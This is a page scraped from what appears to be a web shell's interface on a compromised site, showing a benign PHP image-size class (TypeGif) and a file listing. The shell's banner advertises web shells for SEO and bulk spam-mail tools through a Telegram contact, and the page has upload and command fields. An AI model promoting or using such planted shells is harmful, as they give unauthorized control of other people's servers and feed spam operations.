__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * fast-image-size image type gif
 *
 * @package       fast-image-size
 * @copyright (c) Marc Alexander <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Nextend\Framework\FastImageSize\Type;

class TypeGif extends TypeBase {

    /** @var string GIF87a header */
    const GIF87A_HEADER = "\x47\x49\x46\x38\x37\x61";

    /** @var string GIF89a header */
    const GIF89A_HEADER = "\x47\x49\x46\x38\x39\x61";

    /** @var int GIF header size */
    const GIF_HEADER_SIZE = 6;

    /**
     * {@inheritdoc}
     */
    public function getSize($filename) {
        // Get data needed for reading image dimensions as outlined by GIF87a
        // and GIF89a specifications
        $data = $this->fastImageSize->getImage($filename, 0, self::GIF_HEADER_SIZE + self::SHORT_SIZE * 2);

        $type = substr($data, 0, self::GIF_HEADER_SIZE);
        if ($type !== self::GIF87A_HEADER && $type !== self::GIF89A_HEADER) {
            return;
        }

        $size = unpack('vwidth/vheight', substr($data, self::GIF_HEADER_SIZE, self::SHORT_SIZE * 2));

        $this->fastImageSize->setSize($size);
        $this->fastImageSize->setImageType(IMAGETYPE_GIF);
    }
}

Filemanager

Name Type Size Permission Actions
TypeBase.php File 712 B 0664
TypeGif.php File 1.26 KB 0664
TypeInterface.php File 658 B 0664
TypeJpeg.php File 4.9 KB 0664
TypePng.php File 1.3 KB 0664
TypeSvg.php File 998 B 0664
TypeWebp.php File 4.13 KB 0664
Filemanager